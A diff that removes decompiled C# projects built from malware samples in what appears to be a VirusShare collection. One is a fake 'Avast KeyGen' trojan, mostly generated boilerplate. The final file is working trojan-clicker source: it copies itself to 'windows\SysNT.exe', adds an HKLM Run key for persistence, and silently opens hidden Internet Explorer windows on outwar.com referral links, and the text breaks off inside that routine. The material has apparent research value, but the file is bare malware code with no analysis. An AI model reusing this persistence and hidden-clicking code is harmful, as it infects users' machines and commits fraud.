||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@ -1,48 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication1.My.MyApplication
|
||||
// Assembly: Avast KeyGen, Version=7.3.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: F14EBA9D-BE9A-4819-8979-4625F2144CC9
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace WindowsApplication1.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyApplication : WindowsFormsApplicationBase
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[DebuggerHidden]
|
||||
[STAThread]
|
||||
internal static void Main(string[] Args)
|
||||
{
|
||||
try
|
||||
{
|
||||
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
|
||||
}
|
||||
finally
|
||||
{
|
||||
}
|
||||
MyProject.Application.Run(Args);
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
public MyApplication()
|
||||
: base(AuthenticationMode.Windows)
|
||||
{
|
||||
this.IsSingleInstance = false;
|
||||
this.EnableVisualStyles = true;
|
||||
this.SaveMySettingsOnExit = true;
|
||||
this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.AboutBox1;
|
||||
}
|
||||
}
|
||||
@ -1,24 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication1.My.MyComputer
|
||||
// Assembly: Avast KeyGen, Version=7.3.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: F14EBA9D-BE9A-4819-8979-4625F2144CC9
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace WindowsApplication1.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,230 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication1.My.MyProject
|
||||
// Assembly: Avast KeyGen, Version=7.3.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: F14EBA9D-BE9A-4819-8979-4625F2144CC9
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace WindowsApplication1.My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyProject()
|
||||
{
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Forms")]
|
||||
internal static MyProject.MyForms Forms
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyForms
|
||||
{
|
||||
public AboutBox1 m_AboutBox1;
|
||||
public Form1 m_Form1;
|
||||
[ThreadStatic]
|
||||
private static Hashtable m_FormBeingCreated;
|
||||
|
||||
public AboutBox1 AboutBox1
|
||||
{
|
||||
[DebuggerNonUserCode] get
|
||||
{
|
||||
this.m_AboutBox1 = MyProject.MyForms.Create__Instance__<AboutBox1>(this.m_AboutBox1);
|
||||
return this.m_AboutBox1;
|
||||
}
|
||||
[DebuggerNonUserCode] set
|
||||
{
|
||||
if (value == this.m_AboutBox1)
|
||||
return;
|
||||
if (value != null)
|
||||
throw new ArgumentException("Property can only be set to Nothing");
|
||||
this.Dispose__Instance__<AboutBox1>(ref this.m_AboutBox1);
|
||||
}
|
||||
}
|
||||
|
||||
public Form1 Form1
|
||||
{
|
||||
[DebuggerNonUserCode] get
|
||||
{
|
||||
this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
|
||||
return this.m_Form1;
|
||||
}
|
||||
[DebuggerNonUserCode] set
|
||||
{
|
||||
if (value == this.m_Form1)
|
||||
return;
|
||||
if (value != null)
|
||||
throw new ArgumentException("Property can only be set to Nothing");
|
||||
this.Dispose__Instance__<Form1>(ref this.m_Form1);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T Instance) where T : Form, new()
|
||||
{
|
||||
if ((object) Instance != null && !Instance.IsDisposed)
|
||||
return Instance;
|
||||
if (MyProject.MyForms.m_FormBeingCreated != null)
|
||||
{
|
||||
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
|
||||
}
|
||||
else
|
||||
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
|
||||
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
|
||||
try
|
||||
{
|
||||
return new T();
|
||||
}
|
||||
catch (TargetInvocationException ex) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
ProjectData.SetProjectError((Exception) ex);
|
||||
if (ex.InnerException != null)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
|
||||
}
|
||||
finally
|
||||
{
|
||||
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) where T : Form
|
||||
{
|
||||
instance.Dispose();
|
||||
instance = default (T);
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyForms()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyForms);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[ComVisible(false)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,73 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication1.My.MySettings
|
||||
// Assembly: Avast KeyGen, Version=7.3.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: F14EBA9D-BE9A-4819-8979-4625F2144CC9
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Configuration;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace WindowsApplication1.My
|
||||
{
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
|
||||
[CompilerGenerated]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal sealed class MySettings : ApplicationSettingsBase
|
||||
{
|
||||
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
|
||||
private static bool addedHandler;
|
||||
private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public MySettings()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[DebuggerNonUserCode]
|
||||
private static void AutoSaveSettings(object sender, EventArgs e)
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
}
|
||||
|
||||
public static MySettings Default
|
||||
{
|
||||
get
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
object handlerLockObject = MySettings.addedHandlerLockObject;
|
||||
ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
|
||||
Monitor.Enter(handlerLockObject);
|
||||
try
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
});
|
||||
MySettings.addedHandler = true;
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Monitor.Exit(handlerLockObject);
|
||||
}
|
||||
}
|
||||
return MySettings.defaultInstance;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,24 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication1.My.MySettingsProperty
|
||||
// Assembly: Avast KeyGen, Version=7.3.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: F14EBA9D-BE9A-4819-8979-4625F2144CC9
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace WindowsApplication1.My
|
||||
{
|
||||
[StandardModule]
|
||||
[CompilerGenerated]
|
||||
[DebuggerNonUserCode]
|
||||
[HideModuleName]
|
||||
internal sealed class MySettingsProperty
|
||||
{
|
||||
[HelpKeyword("My.Settings")]
|
||||
internal static MySettings Settings => MySettings.Default;
|
||||
}
|
||||
}
|
||||
@ -1,53 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication1.My.Resources.Resources
|
||||
// Assembly: Avast KeyGen, Version=7.3.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: F14EBA9D-BE9A-4819-8979-4625F2144CC9
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace WindowsApplication1.My.Resources
|
||||
{
|
||||
[HideModuleName]
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
|
||||
[DebuggerNonUserCode]
|
||||
[StandardModule]
|
||||
[CompilerGenerated]
|
||||
internal sealed class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (object.ReferenceEquals((object) WindowsApplication1.My.Resources.Resources.resourceMan, (object) null))
|
||||
WindowsApplication1.My.Resources.Resources.resourceMan = new ResourceManager("WindowsApplication1.Resources", typeof (WindowsApplication1.My.Resources.Resources).Assembly);
|
||||
return WindowsApplication1.My.Resources.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => WindowsApplication1.My.Resources.Resources.resourceCulture;
|
||||
set => WindowsApplication1.My.Resources.Resources.resourceCulture = value;
|
||||
}
|
||||
|
||||
internal static Bitmap Avast_20Antivirus => (Bitmap) RuntimeHelpers.GetObjectValue(WindowsApplication1.My.Resources.Resources.ResourceManager.GetObject("Avast%20Antivirus", WindowsApplication1.My.Resources.Resources.resourceCulture));
|
||||
|
||||
internal static Bitmap windows_7_wallpaper_by_p_com => (Bitmap) RuntimeHelpers.GetObjectValue(WindowsApplication1.My.Resources.Resources.ResourceManager.GetObject(nameof (windows_7_wallpaper_by_p_com), WindowsApplication1.My.Resources.Resources.resourceCulture));
|
||||
|
||||
internal static Bitmap windows_7_wallpaper_by_p_com_copy => (Bitmap) RuntimeHelpers.GetObjectValue(WindowsApplication1.My.Resources.Resources.ResourceManager.GetObject("windows_7_wallpaper_by_p_com copy", WindowsApplication1.My.Resources.Resources.resourceCulture));
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@ -1,55 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{B1C0DC81-BD25-46C2-8539-F917364FEBE3}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Avast KeyGen</AssemblyName>
|
||||
<ApplicationVersion>7.3.0.0</ApplicationVersion>
|
||||
<RootNamespace>WindowsApplication1</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="AboutBox1.cs" />
|
||||
<Compile Include="Form1.cs" />
|
||||
<Compile Include="My\MyApplication.cs" />
|
||||
<Compile Include="My\MyComputer.cs" />
|
||||
<Compile Include="My\MyProject.cs" />
|
||||
<Compile Include="My\MySettings.cs" />
|
||||
<Compile Include="My\MySettingsProperty.cs" />
|
||||
<Compile Include="My\Resources\Resources.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="AboutBox1.resx" />
|
||||
<EmbeddedResource Include="Form1.resx" />
|
||||
<EmbeddedResource Include="Resources.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
@ -1,20 +0,0 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Avast KeyGen", "Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b.csproj", "{B1C0DC81-BD25-46C2-8539-F917364FEBE3}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{B1C0DC81-BD25-46C2-8539-F917364FEBE3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{B1C0DC81-BD25-46C2-8539-F917364FEBE3}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{B1C0DC81-BD25-46C2-8539-F917364FEBE3}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{B1C0DC81-BD25-46C2-8539-F917364FEBE3}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@ -1,13 +0,0 @@
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: Guid("CCA94AF2-DA1C-417F-AE54-14B3B58CCF9E")]
|
||||
[assembly: CLSCompliant(true)]
|
||||
[assembly: AssemblyProduct("")]
|
||||
[assembly: AssemblyCopyright("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyTitle("")]
|
||||
[assembly: AssemblyVersion("1.0.1392.15754")]
|
||||
@ -1,186 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: addoul2.Form1
|
||||
// Assembly: addoul2, Version=1.0.1392.15754, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 2FA7C981-21F3-4FB2-A6B4-E0C073EDB4CD
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Clicker.Win32.VB.ab-50e0a507600fd946292106f9e1248511bb79520e94b3f4bb58adbed7d20d103b.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace addoul2
|
||||
{
|
||||
public class Form1 : Form
|
||||
{
|
||||
private IContainer components;
|
||||
|
||||
[STAThread]
|
||||
public static void Main() => Application.Run((Form) new Form1());
|
||||
|
||||
public Form1()
|
||||
{
|
||||
this.Load += new EventHandler(this.Form1_Load);
|
||||
this.InitializeComponent();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
private void InitializeComponent()
|
||||
{
|
||||
Size size = new Size(5, 13);
|
||||
this.AutoScaleBaseSize = size;
|
||||
size = new Size(292, 273);
|
||||
this.ClientSize = size;
|
||||
this.Name = nameof (Form1);
|
||||
this.Text = nameof (Form1);
|
||||
}
|
||||
|
||||
private void Form1_Load(object sender, EventArgs e)
|
||||
{
|
||||
string executablePath = Application.ExecutablePath;
|
||||
string sLeft;
|
||||
if (Directory.Exists("d:\\windows"))
|
||||
sLeft = "D";
|
||||
else if (Directory.Exists("c:\\windows"))
|
||||
sLeft = "C";
|
||||
else if (Directory.Exists("e:\\windows"))
|
||||
sLeft = "E";
|
||||
else if (Directory.Exists("f:\\windows"))
|
||||
sLeft = "F";
|
||||
if (StringType.StrCmp(sLeft, "D", false) == 0)
|
||||
{
|
||||
if (!File.Exists(sLeft + ":\\windows\\SysNT.exe"))
|
||||
{
|
||||
File.Copy(executablePath, sLeft + ":\\windows\\SysNT.exe", true);
|
||||
RegistryKey subKey = Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
|
||||
subKey.SetValue("MyVBApp", (object) ("\"" + sLeft + ":\\windows\\SysNT.exe\""));
|
||||
subKey.Close();
|
||||
}
|
||||
Thread.Sleep(40000);
|
||||
Interaction.Shell("\"D:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1612268", AppWinStyle.Hide);
|
||||
Thread.Sleep(360000);
|
||||
Interaction.Shell("\"D:\\Program Files\\Internet Explorer\\IEXPLORE.EXE \" http://www.outwar.com/page.php?x=1685015", AppWinStyle.Hide);
|
||||
